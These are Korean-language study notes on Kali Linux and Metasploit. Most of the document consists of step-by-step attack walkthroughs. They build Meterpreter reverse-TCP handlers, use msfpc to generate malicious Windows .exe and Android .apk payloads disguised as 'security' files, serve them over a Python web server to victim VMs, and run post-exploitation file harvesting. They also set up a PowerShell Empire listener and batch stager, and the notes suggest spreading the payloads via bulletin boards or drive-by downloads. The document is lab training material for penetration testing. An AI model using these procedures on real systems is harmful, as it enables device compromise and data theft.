Security_RNRF
MSF 2019년 기준 업데이트 내용 본문
* 칼리리눅스 2020버전에서 메타스플로잇 초기화 방법과 업데이트의 문제점
: 칼리리눅스를 이용해서 메타스플로잇을 많이 사용한다. 메타스플로잇은 공격 코드들이 많이 들어가 있고, 부가적으로 칼리리눅스와 연계해서 어떤 내부 시스템 공격, 웹해킹 공격, 네트워크 공격 등의 여러가지 공격을 할 수 있게 해주는 프레임워크이다
-> 그런데 2020년도 첫번째 버전 같은 경우에는 기본적으로 "kali@kali"라는 이용자로 로그인을 하게 되어있다. 물론 루트 권한으로 로그인 할 수 있도록 설정을 해줄수도 있다. 하지만 이렇게 만들어놓은 제작자의 의도가 분명히 있을것이다. 그렇기 때문에 이용자는 이 부분에 대해서 조금은 적응할 필요도 존재할 것이다
-> 보통 2020년 첫번째 버전에서 메타스플로잇을 사용할 때는 어느정도 정해진 순서가 존재했다
->> 우선 첫번째로 업데이트를 한번 꼭 하는걸 권장한다
->>> "sudo apt-get update" - Enter
->> 이 부부은 메타스플로잇이 업데이트 되고 난 후에 메타스플로잇 업데이트를 할때 최근 정보들이 저장되는 것이기 때문이다
->> 여기서 "upgrade"는 추천하지 않는다. 왜냐하면 업그레이드는 받았던 목록을 진짜로 도구들을 설치하는 과정이기 때문이다. 업데이트는 목록만을 최신화 한다고 생각하면 된다. 저장소에 있는 정보들을 최신화하고 나중에 어떤 프로그램들을 설치하던 "apt-get update"를 한번 해주고 난 뒤에 진행하는것을 권고한다
-> 또한 메타스플로잇을 사용할 때도 처음 초기화를 할 필요가 있다
->>> "sudo msfdb init" - Enter
->> 메타스플로잇을 초기화 할 때 postgresql이란 데이터베이스를 사용한다. 그리고 거기에 메타스플로잇에 필요한 모듈 이름들, 옵션 정보들 등의 여러가지 정보들을 이따가 집어넣고 이용자가 검색(= search)할 수 있도록 목록화를 시킨다. 그러한 데이터베이스의 스키마 정보들을 초기화 한다고 보면 된다
-> 이후에 "msfconsole" 명령을 치면 되는데, 웬만하면 관리자 권한, 루트 권한을 실행시켜주면 좋다.(= sudo 명령어) "sudo" 명령어를 이용해서 잠시 권한을 가져와서 실행하는 방식으로 진행을 해야한다. 2019년도 버전에서는 "sudo"를 자주 사용하지 않았지만 2020년 버전에서는 이렇게 "sudo" 명령을 하지 않아서 실행이 되지 않는 문제점이 있을수도 있기 때문에 "sudo" 명령을 치고 다른 명령어를 입력하는것을 권고한다
->>> "sudo msfconsole" - Enter
->> 이렇게 메타스플로잇 msfconsole로 들어가게 되면 공격 도구 종합 프레임워크의 메타스플로잇라는 것을 실행할 수 있다. 이후에는 다른 책이든, 유튜브 영상이든, 인터넷 강좌 등을 이용해서 공부하면 된다
->> 현재 6.0.45 버전으로 dev(= develop), 개발이 되고 있다는 의미이다
-> 그 다음으로 다른 영상들이나 아니면 업데이트 등의 어떤 모듈들을 반영하고 싶다고 한다면, 이전 버전에서는 "msfconsole" 안에서 "msfupdate"라는 명령어를 바로 할 수가 있었는데, 지금은 그것이 불가능하다
->> 만약 업데이트를 하고 싶다면 "msfconsole" 밖에서 "apt update" 또는 "apt install metasploit-framework"라는 것을 통해서 업데이트 하는 것을 권고한다고 출력되는것을 확인할 수 있다
->>> "exit" - Enter (= msf 탈출)
->>> "sudo msfconsole" - Enter
->> 이전 버전에서는 밖으로 나와서 "sudo msfupdate"도 가능했지만, 이제는 그마저도 진행이 불가능하다. 이런 모듈들을 하나씩 별도로 다운로드 받아서 업데이트 하는 방식이 있다. 아니면 위의 설명에 써진 그대로 "sudo apt install metasploit-framework" 명령을 해서 신규 버전을 업데이트 하는 방식으로 진행도 가능하다. 업데이트가 잘 된다면 아까 봤던 그것보다 높은 버전으로 업데이트가 될 것이다. 가끔씩 칼리리눅스에서 메타스플로잇이 업데이트 될 때, 이것이 지원되고 있는 다양한 도구들 하고 버전 문제로 살짝 꼬일수도 있다. 아니면 루비에서 오류가 발생할 수 가 있다. 만약 업데이트가 잘되면 괜찮지만 잘 되지 않는 상황들이 발생하면 버추얼박스나 vmware 등의 가상환경의 스냅샷을 이용해서 돌아가야 한다. 즉, 초기화 상태로 돌아가서 다시 업데이트를 진행해야 한다. 항상 초기화 상태의 스냅샷은 미리미리 남겨두는것을 권고한다
->>> "sudo apt install metasploit-framework" - Enter
->> 칼리리눅스의 경우 여러가지 도구들이 종합적으로 있다보니 서로 업데이트를 하다보면 문제가 좀 많이 발생할 수도 있다. 그래서 "apt-get update"를 추천하지 "apt-get upgrade"를 추천하지 않는다. 어차피 칼리리눅스라는 것이 1년에 4번 정도 릴리즈가 되는데, 이 릴리즈가 될 때 최신버전들을 유지하는 방식으로 사용한다거나, 메타스플로잇에서 새로운 모델들이 만약에 나왔다면 그 모듈들만 메타스플로잇 모듈 디렉토리에 저장을 해서 사용하는 방법도 괜찮다는 것이다
->> 이제 메타스플로잇을 업데이트 해봤으니 실행이 잘되는가를 테스트해본다
->>> "sudo msfconsole" - Enter
->>> "sudo msfdb init" - Enter
->> 이런식으로 하면 가끔씩 번들(= bundler) 에러가 난다거나, 오류가 발생할 수 있다. 그래서 "msfdb"를 초기화 해주고 실행을 해주는게 좋다. 이러한 트러블 슈팅과 같은 오류를 찾기 위해서는 여러가지 상황들을 보면서 하나씩 찾아야한다. 항상 이 상황만 발생하는게 아니기 때문에 항상 업그레이드, 업데이트를 주의해야 한다.
* 칼리리눅스 vmware player 설치와 VirtualBox의 장단점
: vmware에서의 칼리리눅스 설치
-> 다운로드 페이지에서 7z 압축 파일 다운로드
-> 압축 해제 후에 vmware player에서 불러오기 (= [Open])
->> 보통 7z 압축파일을 해제할 때 "반디집"을 추천한다. 이유는 "7z"이라는 압축파일을 "알집"에서 해제할 경우 가끔씩 오류가 발생한다. 있어야 할 파일들이 압축해제가 되지 않는 경우가 발생할 때가 있다. 또한 업종에서 사용할 때 알집은 라이센스가 필요해서 유료이지만, 반디집은 무료이다
->> vmware로 파일을 불러온 이후 이러한 메시지 창을 확인해본 경험들이 있을것이다
->>> 이 메시지는 "이 머신에 어떠한 권한들을 가지고 갈 것이냐"를 묻는것으로서 "I Copied It"를 눌러주면 된다
-> 환경에 맞게 네트워크 등 설정
->>> vmware player의 단점으로서 이미지가 하나씩 밖에 올라가지 않는다. 다른 이미지를 불러오고 싶다면 vmware player를 하나 더 실행해서 이미지를 불러와야한다.
: 팁이라고 할 수 있는것은 사용하는 C 드라이브가 아닌 D 드라이브에 가상환경 파일을 만들어서 관리하는것을 추천한다. 보통 C 드라이브에 압축을 해제하고 이미지들을 vmware, VirtualBox로 불러와서 관리하는데, 실제 압축을 해제하고 실행하는 과정에서 용량이 계속해서 늘어나고, 나중에 스냅샷 기능을 이용해서 그 상태의 이미지를 복사하게 되는데, 이러한 기능을 사용하다보면 용량이 두배, 세배 늘어나게 되는데 사용할 수 있는 용량이 부족해지는 경우가 많다. 그렇기 때문에 가상 환경을 많이 사용하거나, IT 보안 쪽에서 여러가지를 테스트 해보고 싶다면 별도의 D 드라이브 또는 외장하드를 구입해서 관리를 하는것이 좋다. 보통 가상환경만을 위한 1TB 정도의 SSD를 사용하는것을 권고한다
: VirtualBox의 장단점
-> VirtualBox의 장점
->> 무료 라이센스로 사용 가능
->> 스냅샷 기능, 복사 기능, 네트워크 등의 수월함 - vmware workstation pro(유료)에서만 사용할 수 있는 기능이 포함됨
->> 자동 진단 오픈 소스 도구들에서 많이 사용함 - 예를 들어, 악성코드 분석, MobSF...
-> VirtualBox의 단점
->> 설치 과정에서 오류 발생 변수가 많음 - 한글 경로 문제, 하드웨어 설정 문제, 세션 문제 등
->>> 버추얼박스는 한글을 잘 처리하지 못하기 때문에 한글 경로 문제로 인하여 세션 문제가 많이 발생한다. 이 세션 문제를 해결하기 위해 많은 방법을 사용해봤지만, 결론적으로 최고의 해결 방안은 기존의 이미지를 모두 날리고, 다시 불러온다거나. 또는 버추얼박스를 다시 설치해야한다
->>> 특히나 "노트북"마다 너무 많은 변수들이 발생한다
-> 그렇기 때문에 칼리리눅스를 공부한다고 가정했을때 "버추얼박스"보다는 유료이지만 "vmware pro"를 추천한다
* 칼리리눅스 2019년 4번째 릴리즈 주요 기능 리뷰, 멋진 테마를 즐기세요
: 이번 시간에는 칼리리눅스 2019년도 4번째 릴리즈 된 것을 같이 리뷰하는 시간을 가져본다
-> 이번 칼리리눅스 릴리즈의 가장 큰 변화는 "테마"가 많이 변경되었다. "GTK3" 테마가 많이 업데이트 되었는데 어떤식으로 바뀌었는지 확인해본다
-> 기존의 2019년도 버전의 사용 방법과 동일하다. 전체적인 테마만 바뀌었다는 것을 알 수 있다
-> 가끔 색깔의 변화가 발생한다거나, 터미널 창을 이동할 때 중간중간에 프레임이 끊기는 현상이 나타난다
-> 도구 하나를 실행해본다
->> "msfconsole" - Enter
-> 위에서 말했듯이 기존 사용 방법과는 크게 다르지 않는다
: 다음으로는 "Kali Undercover"라는 기능이 추가되었다. 전체의 테마가 "윈도우"와 같은 테마로 변경되는것이다.
-> "윈도우"처럼 보이지만 실제로 파일과 디렉토리는 "리눅스" 파일들이 존재하는것을 확인할 수 있다
-> 다시 전환하고 싶다면 명령어 창에 "Undercover"를 검색해서 클릭해주면 된다
: 다음으로 관심을 가질 수 있는 부분으로 "PowerShell" 대한것을 지원하는 것이다
-> 이러한 파워쉘은 윈도우즈 기본 환경에 설치가 되어있는 넷-프레임워크의 쉘 프로그램이다. 즉, 윈도우즈 용 쉘 프로그램이다. 그렇기 때문에 윈도우에서 CMD 대신에 기본적인 명령어로 사용하고 있다
-> 파워쉘은 윈도우를 효율적으로 운영하기 위한 목적, 자동화를 하기 위한 목적들로 사용하고 있다. 하지만 IT 보안에서는 파워쉘을 좀 더 여러가지 목적으로 사용한다. 해킹 도구로도 사용하고, 포렌식 분석용으로도 사용하고, 침해사고 분석에서 로그분석 등의 여러가지 용도로 활용 폭이 넓어졌다. 그렇기 때문에 칼리리눅스 입장에서도 시스템에 침투한 다음에 윈도우즈에 있는 파워쉘을 끌어와서 거기서 작업을 하느니, 칼리리눅스 안에서 파워쉘에 관련된 스크립트들을 개발하고, 관련된 스크립트를 가져와서 테스트를 한다거나, 시스템 침투를 하고 난 뒤에 터널링, 포트 포워딩을 해서 칼리리눅스에서 명령어들을 다시 실행을 할 때 유용할 수 있는것이다
-> 이것들을 설치하기 위해서는 먼저 업데이트를 해줘야한다
->> "apt-get update" - Enter (= 저장소들을 업데이트 해준다)
->> "apt install powershell" - Enter
-> 여기서 스크립트를 실행하는 콘솔창으로 들어가고 싶다면 "pwsh" 명령어를 입력하면 된다
->> "pwsh" - Enter
-> 여기서 여러가지 도구들을 사용할 때 "get"이라는 모듈을 많이 사용한다
->> "get" - [Tab] - [Tab]
-> 이 중에서 몇개의 명령어를 실행해본다. 여기서는 윈도우즈 거의 동일하게 작동이 되기 때문에, 여기서 그대로 윈도우즈 파워쉘 스크립트를 개발이 가능하다.
->> "Get-Date" - Enter (= 날짜 정보 출력)
->> "Get-Process" - Enter (= 프로세스 정보 출력)
->> "Get-TimeZone" - Enter (= 타임존 정보 출력)
-> 칼리리눅스에서 파워쉘을 활용할 수 있다는 것이 나중에 파워쉘 기반의 공격 코드, 악성 코드, 시스템 공격이 굉장히 활발하게 시도되지 않을까라는 생각을 해볼 수 있다
: 그 외에는 조금조금씩 업데이트 되어서 변경된 것 들이다
* 메타스플로잇 Meterpreter를 이용하여 사용자 PC의 중요 파일 검색하기
-> MSF를 이용한 윈도우 PC 악성코드 감염
->>> 악성코드 형태의 ".exe" 파일을 생성한 뒤
->> "python -m simpleHTTPServer 8888" - Enter
->>> 파이썬을 이용해서 "simpleHTTPServer"로 악성코드를 감염 시켜본다
-> Meterpreter와 핸들러 연결한 뒤
->> "use exploit/multi/handler" - Enter
->> "set payload windows/meterpreter/reverse_tcp" - Enter
->> "set LHOST <칼리IP>" - Enter
->> "set LPORT 7777" - Enter
->> "exploit" - Enter
-> 윈도우 PC 내의 중요한 정보를 검색
-> Win_7의 익스플로잇 주소 창에 "<핸들러에서 설정한 LHOST IP>:8888/"를 입력하고 접속한다
->> "simpleHTTPServer"에 접속이 되고, 이제 사용자한테(= 개인PC) 디렉토리와 파일들 중 악성코드 파일인 "security.exe" 파일을 실행시켜서 감염 시켜본다
->> 칼리리눅스로 돌아와서 핸들러 터미널을 확인해보면 "meterpreter" 세션이 맺어진 것을 확인할 수 있다. 이것을 "Post Exploitation"이라고 한다. 즉, 그 안에서 공격을 당하고 난 뒤에, 개인 PC에 핸들러를 유지한 상태에서 추가적으로 공격할 수 있는 단계를 "Post Exploitation" 단계라고 한다
-> 여기까지 공격을 성공시키고 난 뒤에, 백그라운드로 돌아가본다
->> "background" - Enter
->>> 백그라운드로 돌아가게 되면 세션이 유지된 상태에서 다시 다음에 연결하고 싶다면 "sessions -i"를 입력해서 세션에 관한 리스트가 출력된다
->> "sessions -i" - Enter
->>> 다시 말해 세션을 완전히 끊은 상태에서 백그라운드로 도구들을 사용하고 싶다면 "exploit(multi/handler)"에서 활용하거나, 메터프리터에서 기본적으로 제공하는 명령어들을 사용해서 개인 PC에 추가적으로 공격이 가능하다
->>> 어쨌든 이렇게 백그라운드로 넘어오고 난 뒤에, 세션 정보들을 그대로 이용하게 될 것이다. 여기서 "Id"가 1번인 PC가 감염시킨 PC인 것이다. 다시 한번 핸들러를 생성해서 똑같이 감염시킨다면 "Id" 2번으로 부여될 것이다. 하지만 포트는 당연히 다르게 설정해야 할 것이다
->> "search enum_files" - Enter (= 메타스플로잇에서 제공하고 있는 스크립트들을 검색해준다)
->>> 검색 결과, "post/windows/gather/enum_files"를 볼 수 있다. 앞에 "post"라고 붙어있는것은 "post exploitation" 단계에서 사용할 수 있다는 의미로 명시한 것이다
->> "use post/windows/gather/enum_files" - Enter
->> "show options" - Enter
->>> "SESSION" 이라는 옵션을 확인할 수 있다. 한마디로 "post"이기 때문에 별도로 IP를 설정하는게 아니라 아까 남겨뒀던 세션을 그대로 이용하는것이다
->> "set session 1" - Enter (= 이전 세션 Id 입력)
->>> 이러한 원하는 세션을 유지하며, 이 세션을 통해서 원하는 파일 정보들을 획득을 할 수 있다
->>> 추가적으로 "FILE_GLOBS" 옵션을 이용해서 확장자 명을 설정해서 원하는 파일 정보들을 획득해본다
->> "set FILE_GLOBS *.txt OR *.pdf OR *.xls" - Enter (= txt, pdf, xls 확장자 형태의 파일을 모두 출력)
->>> 이렇게 세팅(= 옵션 두개를 설정)을 하고 난 뒤에 검색을 하는 형태이다. 실행을 진행해본다
->> "run" - Enter
->>> 실행 결과, 실시간으로 바로 파일들을 찾아주는것을 확인할 수 있다
: 이렇게 메터프리터에서 활용할 수 있는 여러가지 스크립트들이 존재한다. 이것들을 이용한다면 침투를 하고 난 뒤에 여러가지 추가적인 공격, 정보 수집을 할 수 있다
* msfpc를 활용한 메타스플로잇 공격코드 자동 생성
: 이번에는 모의해킹 할 때 간단하게 활용할 수 있는 공격 스크립트를 실습해본다
-> "mpc"라는 스크립트 도구에 대해서 알아볼 것이다. "mpc"는 "MSFPC"의 약자로서 "MSFvenom Payload Creator"라는 이름으로 지어진 스크립트이다. 이것은 칼리리눅스에서 모의해킹에서 많이 사용하는 메타스플로잇에서 지원되고 있는 msfvenom이란 명령어를 활용하는 스크립트이다
-> 사용하는 방법 또한 간단하다. 이 스크립트는 msfvenom를 그대로 가져다 썼기 때문에 메타스플로잇과 다를게 전혀 없다. 그러한 명령어들을 어느정도 자동화 시킨다고 알고 있으면 된다
-> 간단하게 실습을 진행해본다
->> 우선 Github에서 파일을 다운로드 받는다
->>> "git clone http://github.com/g0tmi1k/mpc.git" - Enter
->> 그 다음으로 다운로드 받은 디렉토리로 이동하면 "msfpc.sh"라는 스크립트 파일이 하나 존재하는것을 확인할 수 있다
->> 이 파일을 실행하기 위해서는 "bash"라는 명령어를 이용해서 칼리리눅스에서 간단하게 실행시킬 수 있다
->>> "bash msfpc.sh" - Enter
->> 위에서 보듯이 어떤 기능들을 지원하고 있는지를 확인할 수 있다. 또한 샘플들을 확인할 수 있다. "Example" 샘플들의 설명을 통해 간단하게 이해를 해본다
->> 처음 보이는 "msfpc.sh windows 192.168.1.10"은 윈도우라는 옵션을 이용하고, IP를 적어준 것을 볼 수 있다. 여기서 IP는 칼리리눅스 IP(= 공격자)이다. 이렇게 작성을 한것은 윈도우 기반, 입력한 IP 기반으로 공격코드가 만들어지는 것이다. 여기서 공격코드는 msfvenom이라는 메타스플로잇에서 콘솔 형태에서 명령어들을 이용해서 다양한 페이로드(= 공격코드)를 만드는 도구이다. 예전에는 msfvenom과 인코더가 따로 분리되어 있었지만, 현재는 msfvenom 안에 옵션들을 설정하면 인코더도 같이 쓸 수 있어졌다. 하지만 그만큼 옵션이 많아져서 헷갈릴수도 있기 때문에 주의를 해야한다
->> 즉, 윈도우라는 페이로드를 이용하고, IP를 임의로 지정하겠다는 의미이다
->> 다음으로 보이는 "msfpc elf bind eth0 4444"에서 "elf"는 리눅스 기반의 바이너리 파일이다. "bind"는 공격자가 직접적으로 공격을 진행하는 방식이다. "bind"와 "reverse" 공격 형태가 있는데, "bind"는 오픈되어있는 포트에 직접적으로 공격해서 오픈되어있는 포트의 취약점을 찾아내는 공격이고, "reverse"는 희생자 PC에서 공격자 PC로 일반적인 연결과는 반대로 연결해주는 방식으로 악성코드 배포에 많이 사용하는 방식이다. "eth0"은 기본적으로 사용하는 네트워크 장치라고 알아두면 된다
->> 다음으로 "msfpc.sh stageless cmd py https"에서 "cmd py"는 파이썬 코드의 CMD 명령어를 의미한다. 그러한 명령어들을 "https" 암호화 프로토콜을 이용해서 사용한다는 의미이다
->> "<TYPE>:"에서 볼 수 있듯이 다양한 종류의 지원되는것들이 존재하는것을 확인할 수 있다. 이러한 것들은 기본적으로 "msfvenom"에서 모두 지원되는것을 기반으로 하기 때문에 "msfvenom"이 익숙해지면 "msfpc"도 사용하기 편할것이다
-> 이제 실습을 진행해본다. 기존에 샘플 코드를 이용해본다
->> "bash msfpc.sh windows 10.10.10.4(= 칼리리눅스 IP)" - Enter
->>> 위에서 확인할 수 있듯이, "msfvenom"에서 그대로 찍힌 명령어를 볼 수 있다. 또한 ".exe" 파일이 생성된 것을 확인할 수 있다. 만들어진 파일을 생성된 디렉토리로 가서 확인해본다
->> "cd /root/mpc/" - Enter
->> "ls" - Enter
->>> 확인 결과, ".exe" 파일이 존재한다. 이 파일은 상대방을 감염시키는 공격 파일이다. 감염시키는 방식들은 게시판에 올려도 되고, 드라이브-바이-다운로드 악성코드를 만들어서 같이 사용해도 된다
->>> 위에서 확인할 수 있듯이, "MSF handler file"이 자동으로 하나 생성된다. 이 부분이 msfpc의 장점인 편하다는 것이다. 핸들러 같은 경우에는 이 파일을 감염시키기 전에 메타스플로잇에서 리스닝을 하는것하고 프로세스의 권한을 획득하는 과정인데 현재 자동으로 그 코드 파일이 생성된다
->> "cat windows-meterpreter-staged-reverse-tcp-443-exe.rc" - Enter
->>> 리소스 파일에 생성된 코드들을 확인할 수 있다. 이것은 "msfconsole"에서 핸들러를 만들어주는 과정이다. 이 자동화 기능이 없다면 하나씩 수동으로 핸들러를 만드는 명령어를 입력해야 한다
->>> 먼저 이러한 리스닝을 하기 전에 "postgresql"을 실행을 시켜야한다
->> "service postgresql start" - Enter
->>> 그리고 핸들러를 실행해서 대기 상태로 만들어준다
->> "msfconsole -q -r '/root/mpc/windows-meterpreter-staged-reverse-tcp-443-exe.rc'" - Enter
->>> 대기 상태에서 만들어둔 ".exe" 파일을 윈도우 환경에서 실행시켜주면 세션이 맺어지는 것이다. 그렇게 되면 내부 시스템에 침투할 수 있는 환경이 만들어지는 것이다
* msfpc를 이용하여 안드로이드 악성코드 제작 및 침투
: 이번에는 msfpc를 이용해서 안드로이드 악성코드를 제작하는것을 알아본다. 그리고 "Nox"라는 "Emulator"에 감염시키는 실습을 진행해본다
-> "msfpc"를 이용해서 옵션을 지정해서 원하는 파일을 만든다
->> "msfpc apk 10.10.10.4 8888" - Enter (= IP는 칼리리눅스 IP, Port는 나중에 메타스플로잇 핸들러에 연결되게 하는 번호로 지정)
->> "ls" - Enter
->>> 확인 결과, ".apk" 파일이 만들어진 것을 확인할 수 있다. 또한 핸들러에 이용할 ".rc" 파일인 리소스 파일도 확인할 수 있다
->>> 이름이 공격 파일의 너무 길기 때문에 이름을 변경해준다
->> "mv android-meterpreter-stageless-reverse-tcp-8888.apk security.apk" - Enter
->> "ls" - Enter
->>> "security.apk" 파일을 배포하면 된다
->>> 그 다음으로 메타스플로잇에서 핸들러를 사용해야하는데, 그전에 메타스플로잇을 사용하려면 "postgresql"을 실행해줘야 한다
->> "service postgresql start" - Enter
->> "msfdb init" - Enter (= 만약 메타스플로잇을 한번도 사용하지 않았다면 DB도 선언해줘야 한다)
->>> 리소스 파일(= android-meterpreter-stageless-reverse-tcp-8888-apk.rc)을 불러오기 전에 리소스 파일을 확인해본다
->> "cat android-meterpreter-stageless-reverse-tcp-8888-apk.rc" - Enter
->>> 그리고 메타스플로잇의 "-r" 옵션을 이용해서 리소스 파일을 불러와준다
->> "msfconsole -r android-meterpreter-stageless-reverse-tcp-8888-apk.rc" - Enter
->>> 핸들러가 정상적으로 시작되어, 대기 상태에 있는것을 확인할 수 있다
->>> 다음으로 만들었던 ".apk" 파일을 배포해야 하는데, 배포의 경우에는 여러가지 방법을 이용하면 된다. 현재에는 파이썬을 이용해서 "SimpleHTTPServer"로 파일을 희생자인 "Nox"에 다운로드 해준다
->>> 새로운 터미널 창 하나를 열어서 다음 과정을 진행해준다
->> "python -m SimpleHTTPServer" - Enter
->>> 확인 결과, 포트는 "8000"인 것을 확인할 수 있다
->>> 다음으로 희생자인 "Nox" 환경의 브라우저를 열어서 페이지 주소(= 칼리리눅스 IP)와 포트 번호(= 8000)을 입력해준다
->> "10.10.10.4:8000" - Enter
->>> 디렉토리와 파일들 중 만들어놓은 "security.apk" 파일을 다운로드 받아서 실행시켜준다
->>> 설치를 하고, 열기를 눌러준다
->>> 대기 중인 핸들러 터미널을 확인해 본 결과, 세션이 맺어진것을 볼 수 있다
->> "sessions -i" - Enter
->>> 정상적으로 세션이 접속된 것을 확인할 수 있다. 그리고 연결된 세션으로 접속해본다
->> "sessions -i 1" - Enter
->>> 접속된 세션이 안드로이드 정보가 맞는지 meterpreter를 이용해서 확인해본다
->> "sysinfo" - Enter
->>> 정상적인 안드로이드 정보인 것을 확인할 수 있으며, 내부적으로 들어온 상황에서 더 나아가 내부의 패키지 정보, 내부의 SD 카드 정보, apk 파일 안에 들어가있는 여러가지 중요한 정보를 탈취할 수 있다
* 파워쉘 Empire를 활용한 공격 프레임워크 활용
: "Empire"라는 도구는 파워쉘로 된 공격 코드로서 하나의 모듈이며 메타스플로잇과 연결되어 있어서 사람들이 손쉽게 공격할 수 있게 해주는 프레임워크의 한 종류이다. 이 도구를 이용하면 파워쉘의 다양한 공격 기법들을 활용을 할 수 있다. 조금 아쉬운것은 현재 프로젝트는 더 이상 업데이트가 되지 않는다는 것이다. 하지만 그러한 기능들은 메타스플로잇이 있는 이상 사라지지 않기 때문에 익혀두면 손해는 아니다
-> "Empire"는 github를 이용해서 다운받아 주면 된다 (버전은 2019년도 첫번째 버전이다. 왜냐하면 가끔 3번째 버전은 모듈들이 많이 빠지고, 기능들이 많이 빠져서 첫번째 버전을 사용하는게 좋다)
->> "git clone https://github.com/EmpireProject/Empire.git" - Enter
-> 우선 "Empire"가 동작시키기 위해서는 메타스플로잇도 정상적으로 동작하고 있어야한다
->> "service postgresql start" - Enter
->> "msfdb init" - Enter
-> "Empire" 디렉토리로 들어가서 install을 해줘야한다
->> "cd Empire/" - Enter
->> "cd setup/" - Enter
->> "./install.sh" - Enter
-> 설치하는 과정 중에서 서버에 패스워드를 입력하라고 메시지가 뜨는데 간단하게 "1q2w3e"로 설정해준다
-> 확인 결과, 설치가 정상적으로 완료된 것을 확인할 수 있다. 그 다음으로 다시 "Empire" 디렉토리에 생성된 "empire"를 실행해본다
->> "./empire" - Enter
-> 초기화가 되고, Empire 화면을 명령어 창을 확인할 수 있다
->> "help" - Enter
-> 관련된 명령어들을 확인해 볼 수 있다. 칼리리눅스 2019년도 3.3 버전에 설치할 경우, 일부 오류가 발생하는 경우도 있다
-> 이 명령어들 중에서 관련된 공격 코드를 생성하고, 리스너 등을 사용해본다
-> 첫번째로 리스너인 핸들러를 생성해본다
->> "listeners" - Enter
-> 결과 화면에서 보듯이, 메타스플로잇과 마찬가지로 콘솔 환경들이 주어지는것을 볼 수 있다
->> "uselistener http" - Enter
-> 리스너를 어떤 형태로 사용할 것인지를 정해야 하는데, 일반적으로 "http"를 많이 이용한다
->> "info" - Enter
-> 기본적으로 정해지는 옵션들을 확인할 수 있다. 여기서는 두 가지 정도만 옵션을 수정해준다
->> "set Name http_01" - Enter (= 런처의 이름을 변경)
->> "set Port 6666" - Enter
->> "info" - Enter (= 변경된 사항 확인)
-> 확인 결과, "Host" 옵션에서 "80" 포트번호가 붙어있는것을 볼 수 있는데, 혹시 오류가 발생할 수 있기 때문에 포트 번호를 뺀 칼리리눅스 IP만을 설정해준다
->> "set Host http://10.10.10.4" - Enter
-> 설정이 완료된 리스너를 실행해준다
->> "execute" - Enter
-> 그 다음으로 어떤 공격 코드를 사용할지를 선택해야 한다
->> "back" - Enter (= 뒤로가기)
->> "usestager windows/" - [Tab]x2
-> 윈도우에서 사용할 수 있는 "stager"들이 출력된다. 이 중에서 배치 파일("_bat")을 이용한 것을 실습해본다
->> "usestager windows/launcher_bat" - Enter
->> "info" - Enter
-> 설정할 옵션들을 확인해준다
-> 기본적으로 "OutFile"이 "/tmp/launcher.bat" 배치 파일이 생성되어 나오는것을 확인할 수 있다. 기본적으로 생성되는 파일을 사용해도 되지만 "security.bat" 파일로 변경해준다
->> "set OutFile /root/security.bat" - Enter
-> 그리고 "Listener"의 "Value" 값이 존재하지 않는데, 위에서 만들어 준 리스너 값을 선택해서 설정해준다
->> "set Listener http_01" - Enter
-> "stager"를 실행시켜 준다
->> "execute" - Enter
-> 확인 결과, 배치 파일 생성되었다고 출력된다
-> "/root" 디렉토리 가서 생성된 ".bat" 파일을 확인해본다
->> "cat security.bat" - Enter
-> 파워쉘로 된 것이며, 위의 코딩이 되어있는 코드들이 실행되는 것이다
-> 다음으로 웹서버를 간단히 만들어준다
->> "python -m SimpleHTTPServer" - Enter
-> Win-Server-2008 환경으로 들어가서 웹 브라우저(= IE)의 주소창에 "10.10.10.4:8000"을 입력해준다
->> "http://10.10.10.4:8000" - Enter
-> 웹서버에 접속하면 디렉토리와 파일들이 존재하는데, 그 중 "security.bat" 파일을 다운로드 받아 실행시켜 준다
-> 다시 칼리리눅스 환경으로 돌아와서 "stager" 터미널로 오게 되면 "<PID>" 문자로 연결되었다고 나타난다
->> "agents" - Enter
-> 에이전트가 연결되었고, 메타스플로잇테이블이 되어있는것을 확인할 수 있다. 그리고 맺어진 stager에 들어가본다
->> "interact <PID>" - Enter
-> 연결이 맺어진것을 확인할 수 있다
->> "sysinfo" - Enter (= 시스템 정보들을 확인)
-> Empire의 안좋은점이라고 할 수 있는것은 위에서 보듯이, 명령어를 한 뒤에, 리턴 값들에 대해서 조금 기다린다? 이러한것들이 보인다. 공격이 진행하는 과정에서 하나, 두개 과정이 실패하면 그 뒤에 명령어들이 안되는 경우가 발생할 수도 있다
->> "help" - Enter (= 여러가지 명령어들 확인)
-> 잘보면 거의 대부분이 "meterpreter"에 나오는 정보들이다. 그 중 "mimikatz", "psinject"들도 탑재되어 있는것을 볼 수 있다
->> "shell dir" - Enter
->> "shell tasklist" - Enter
-> "shell" 뒤에 부가적인 명령어들을 쳐야지만 결과들을 출력할 수 있다
: 물론 메타스플로잇 프레임워크에 익숙한 사람이라면 오히려 이것이 더 복잡할 수 있다. 메타스플로잇 명령어들을 리소스 파일로 만들어서 자동화 할 수 있는데도 불구하고 파워쉘 Empire를 이용하기 쉽지는 않다. 하지만 전문가들은 세션을 맺는것이나, 세션을 유지하는것들이 Empire가 더 좋다고 얘기하기도 한다. 더불어 연계성 공격을 할때도 좋은 도구라고 볼 수 있다
* 칼리리눅스 2020에 메타스플로잇 프로 버전 설치 과정 설명 (Youtube)
* 메타스플로잇 프로 버전의 Quick Pentest를 이용하여 시스템 침투와 기능 살펴보기 (Youtube)
: 칼리리눅스 + 메타스플로잇(Pro) + Metasploitable2 + wireshark(win10)
* msf-virustotal 기능을 이용하여 악성코드 여부 확인
: 이번에는 메타스플로잇에서 기본적으로 제공하는 기능 하나를 살펴본다. 메타스플로잇 프레임워크에는 다양한 공격 도구들이 중점적으로 포함이 되어있는데, 그 외에도 부가적인 기능들을 많이 제공한다
-> "msf-" - [Tab]x2
->> 메타스플로잇 "5."대로 업데이트 되면서 몇가지가 더 추가되었는데, 그 중 "msf-virustotal" 명령어를 실습해본다
->> "virustotal"이라는 사이트는 아마도 악성코드 분석을 조금이라도 해본 경험이 있다면 많이 알고있는 사이트일 것이다. "msf-virustotal"는 백신 프로그램을 만드는 60~70개 정도의 업체들의 결과들을 가지고 판단하는 것이 악성코드인지, 아닌지를 판단하는 서비스이다
->> "virustotal"에서는 기본적으로 무료로 제공하는 API들이 존재한다. 그러한 API는 1분에 4회정도 검사할 수 있는 기능을 가지고 있다
->> 즉, "msf"에서도 이러한 기능들이 존재하는것이다
-> "msf-virustotal" - Enter
-> "msf-virustotal" - Enter
-> "msf-virustotal -h" - Enter
